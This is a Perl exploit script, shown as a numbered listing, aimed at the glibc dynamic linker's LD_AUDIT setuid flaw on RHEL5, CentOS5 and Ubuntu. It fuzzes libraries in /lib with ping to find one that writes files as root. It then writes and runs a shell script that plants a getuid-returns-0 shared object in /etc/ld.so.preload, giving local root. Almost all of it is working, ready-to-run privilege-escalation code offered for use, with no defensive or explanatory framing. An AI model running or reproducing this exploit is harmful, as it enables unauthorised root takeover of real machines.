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| 1 | #!/usr/bin/perl | |
| 2 | use POSIX; | |
| 3 | $ptxt=" | |
| 4 | ||
| 5 | [The GNU C library dynamic linker will dlopen arbitrary DSOs during setuid loads] | |
| 6 | [desc: Fuzz and exploit for RHEL5 / CentOS5 / Ubuntu] | |
| 7 | ||
| 8 | "; | |
| 9 | print $ptxt; | |
| 10 | our $old_fh=select(STDOUT); $|=1; select($old_fh); | |
| 11 | @libdirs=("/lib"); # you can add your own paths to lib folder here
| |
| 12 | $tempdir="/tmp/fuzz/"; # temp directory | |
| 13 | mkdir($tempdir); | |
| 14 | ||
| 15 | #make some ascii | |
| 16 | $total=0; | |
| 17 | foreach $libdir (@libdirs) {
| |
| 18 | opendir(my $dir, $libdir); | |
| 19 | @lf = readdir($dir); | |
| 20 | closedir $dir; | |
| 21 | $total=$total+scalar(@lf)-2; | |
| 22 | } | |
| 23 | $step=ceil($total/50); | |
| 24 | $stepp=0; | |
| 25 | print "0%"." "x6 ."20%"." "x6 ."40%"." "x6 ."60%"." "x6 ."80%"." "x6 ."100%\n"; | |
| 26 | print "\["; | |
| 27 | foreach $libdir (@libdirs) {
| |
| 28 | opendir(my $dir, $libdir); | |
| 29 | @libfiles = readdir($dir); | |
| 30 | closedir $dir; | |
| 31 | foreach $libfile (@libfiles) {
| |
| 32 | $stepp++; | |
| 33 | if ($stepp==$step) {print ".";$stepp=0;}
| |
| 34 | if (($libfile ne ".") && ($libfile ne "..")) {
| |
| 35 | ||
| 36 | @dump=`strings $libdir\/$libfile`; | |
| 37 | foreach $dline (@dump) {
| |
| 38 | if ($dline=~/^([A-Z\_0-9]+)$/) {
| |
| 39 | chomp($dline); | |
| 40 | $ccc=`LD_AUDIT="$libfile" $dline="$tempdir$libfile-$dline" ping&>/dev/null`; | |
| 41 | } | |
| 42 | } | |
| 43 | } | |
| 44 | } | |
| 45 | ||
| 46 | } | |
| 47 | print "\]\n"; | |
| 48 | ||
| 49 | print "Fuzzing done. Thank you for using!\n"; | |
| 50 | ||
| 51 | opendir(my $dir, $tempdir); | |
| 52 | @fuzzList = readdir($dir); | |
| 53 | closedir $dir; | |
| 54 | $libToExploit="";$argToExploit=""; | |
| 55 | if (scalar(@fuzzList)>2) {
| |
| 56 | foreach $fuzzFile (@fuzzList) {
| |
| 57 | if ($fuzzFile ne "." && $fuzzFile ne "..") {
| |
| 58 | my ($lib,$param)=$fuzzFile=~/(.*)-(.*)/; | |
| 59 | print "Success: vuln lib - $lib ; arg - $param\n"; | |
| 60 | if ((-e "$tempdir$fuzzFile") && (!-d "$tempdir$fuzzFile")) {
| |
| 61 | $libToExploit=$lib; | |
| 62 | $argToExploit=$param; | |
| 63 | } | |
| 64 | } | |
| 65 | } | |
| 66 | } else {
| |
| 67 | print "Fail. No vuln libs found. Try another target ;)\n"; | |
| 68 | exit(); | |
| 69 | } | |
| 70 | ||
| 71 | $shCode=qq(#!/bin/sh | |
| 72 | umask 0 | |
| 73 | LD_AUDIT=EXP_LIBRARY EXP_ARGUMENT=/etc/ld.so.preload ping | |
| 74 | echo "[+] creating /tmp/getuid.so" | |
| 75 | echo "int getuid(){return 0;}" > /tmp/getuid.c
| |
| 76 | gcc -shared /tmp/getuid.c -o /tmp/getuid.so | |
| 77 | echo "/tmp/getuid.so" > /etc/ld.so.preload | |
| 78 | ); | |
| 79 | ||
| 80 | if ($libToExploit ne "" && $argToExploit ne "") {
| |
| 81 | $shCode=~s/EXP_LIBRARY/$libToExploit/gi; | |
| 82 | $shCode=~s/EXP_ARGUMENT/$argToExploit/gi; | |
| 83 | open(SH,">spl.sh"); | |
| 84 | print SH $shCode; | |
| 85 | close(SH); | |
| 86 | chmod(0755,"spl.sh"); | |
| 87 | system("./spl.sh");
| |
| 88 | print "Hehe.. Type 'su' and be awesome!\n"; | |
| 89 | } |
